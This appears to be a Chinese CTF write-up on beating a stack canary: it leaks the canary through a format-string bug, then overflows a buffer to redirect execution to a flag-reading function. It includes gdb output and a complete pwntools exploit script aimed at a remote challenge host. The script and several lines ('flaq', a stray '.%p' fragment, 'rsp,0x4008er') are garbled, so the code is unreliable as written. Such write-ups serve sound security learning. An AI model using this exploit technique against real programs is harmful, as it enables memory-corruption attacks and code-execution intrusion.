2020/3/6 Markdoc Preview

Mary_Mortion

Canary开启,是一个随机数,x86-64架构下通过fs: 0x28来获取这个数据存放在栈中。在退出栈之前,合并栈中的canary值进行检测。

```
rsp,0x4008er: sub rsp,0x90
0x4008f6: mov rax,QWORD PTR fs:0x28
=> 0x4008ff: mov QWORD PTR [rbp-0x8],rax
```

栈其实玩儿的挺少的,简单看了一下发现,canary是在一个叉子进展中应该是不会变的。

```
'gdb-peda$ find 0x6c19a8f7b4995100

Searching for '0x6c19a8f7b4995100' in: None ranges
Found 5 results, display max 5 items:
    mapped : 0x7ffffffde528 --> 0x6c19a8f7b4995100
[stack] : 0x7fffffffdc78 --> 0x6c19a8f7b4995100
```

这样就简单了,根据下面操作

- 通过FMT突破获取Canray的值
- 在栈溢出时,将Canray填充到正确位置。

FMT

发现canray在第二十三个,于是构造 "4%23\$p

```
#leak canary
fun2("4%23$p")
p.recvline()
p.recv(1)
can=p.recv(18)[2:18]
#print "[*]canary => "+can
can_int=int(can,16)
print "[*]canary => "+hex(can_int)
```

缓冲区溢出

只需将canary填充到rbp-8点位置,然后让程序替换到cat flag的函数即可。

```
#0verflow
flag=0x4008da
#fun1("A"*0x88+p64(can_int)+p64(0)+p64(0x000000000000040065d)+p64(0)+p64(flag))
fun1("A"*0x88+p64(can_int)+p64(0)+p64(flag))
```

原因未知,调试了好久都读不了文件。一开始一直以为是堆栈对齐问题。。。浪费时间。远程一跑就出来了。。。。还是系统的问题,所以利用还是多用execve,这种转型真的够了,可玩性太低。

2020/3/6 Markdoc Preview

经验值

```
#!/usr/bin/python
from pwn import *
import binascii
p=remote("111.198.29.45","47959")
#p=process("./pwn")
#context.log_level='Debug'
#qdb.attach(p,"b *0x4009D9")
def fun1(input):
   #p.recvuntil("3. Exit the battle")
   p.sendline(str(1))
   p.sendline(input)
def fun2(input):
   p.recvuntil("3. Exit the battle")
   p.sendline(str(2))
   p.sendline(input)
#fun1("A"*0x100)
raw_input("enter after click c in the gdb") #Debug
.%p")
#leak canary
fun2("4%23$p")
p.recvline()
p.recv(1)
can=p.recv(18)[2:18]
#print "[*]canary => "+can
can_int=int(can, 16)
print "[*]canary => "+hex(can_int)
#0verflow
flaq=0x4008da
fun1("A"*0x88+p64(can_int)+p64(0)+p64(flag))
p.interactive()
```

2020/3/6 Markdoc Preview



系统执行段错误)

```
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7ffff7a332fb <do_system+1099>:
    call 0x7ffff7a23110 <__GI___sigaction>
```